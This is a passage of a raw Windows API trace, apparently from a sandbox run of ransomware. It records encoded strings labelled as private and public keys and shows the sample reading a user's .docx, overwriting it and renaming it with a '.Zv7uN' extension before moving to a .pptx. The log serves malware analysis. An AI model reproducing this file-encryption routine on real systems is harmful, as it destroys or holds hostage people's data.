lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.201] GetCurrentThreadId () returned 0xa30 [0088.201] GetCurrentThreadId () returned 0xa30 [0088.201] GetCurrentThreadId () returned 0xa30 [0088.202] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.202] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.202] GetCurrentThreadId () returned 0xa30 [0088.202] GetCurrentThreadId () returned 0xa30 [0088.202] GetCurrentThreadId () returned 0xa30 [0088.202] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\DZvDv8 7hIh_Mu9Whp.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dzvdv8 7hih_mu9whp.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.203] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0088.203] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.203] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x101c7 [0088.203] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.203] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x101c7, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x101c7, lpOverlapped=0x0) returned 1 [0088.206] CloseHandle (hObject=0x124) returned 1 [0088.207] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\DZvDv8 7hIh_Mu9Whp.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dzvdv8 7hih_mu9whp.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.209] WriteFile (in: hFile=0x124, lpBuffer=0x1f02040*, nNumberOfBytesToWrite=0x101c7, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f02040*, lpNumberOfBytesWritten=0x18f978*=0x101c7, lpOverlapped=0x0) returned 1 [0088.213] CloseHandle (hObject=0x124) returned 1 [0088.215] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\DZvDv8 7hIh_Mu9Whp.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dzvdv8 7hih_mu9whp.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\DZvDv8 7hIh_Mu9Whp.docx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dzvdv8 7hih_mu9whp.docx.zv7un")) returned 1 [0088.216] GetCurrentThreadId () returned 0xa30 [0088.216] GetCurrentThreadId () returned 0xa30 [0088.216] GetCurrentThreadId () returned 0xa30 [0088.216] GetCurrentThreadId () returned 0xa30 [0088.216] GetCurrentThreadId () returned 0xa30 [0088.217] GetCurrentThreadId () returned 0xa30 [0088.217] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd28d7e0, ftCreationTime.dwHighDateTime=0x1d5b8c8, ftLastAccessTime.dwLowDateTime=0x71e25370, ftLastAccessTime.dwHighDateTime=0x1d5a822, ftLastWriteTime.dwLowDateTime=0x71e25370, ftLastWriteTime.dwHighDateTime=0x1d5a822, nFileSizeHigh=0x0, nFileSizeLow=0x106b1, dwReserved0=0xc7690348, dwReserved1=0xba1113e9, cFileName="hmE9.pptx", cAlternateFileName="HME9~1.PPT")) returned 1 [0088.217] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.217] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.217] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hmE9.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hme9.pptx"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd28d7e0, ftCreationTime.dwHighDateTime=0x1d5b8c8, ftLastAccessTime.dwLowDateTime=0x71e25370, ftLastAccessTime.dwHighDateTime=0x1d5a822, ftLastWriteTime.dwLowDateTime=0x71e25370, ftLastWriteTime.dwHighDateTime=0x1d5a822, nFileSizeHigh=0x0, nFileSizeLow=0x106b1)) returned 1 [0088.217] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hmE9.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hme9.pptx")) returned 0x20 [0088.217] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hmE9.pptx", dwFileAttributes=0x80) returned 1 [0088.219] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.219] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 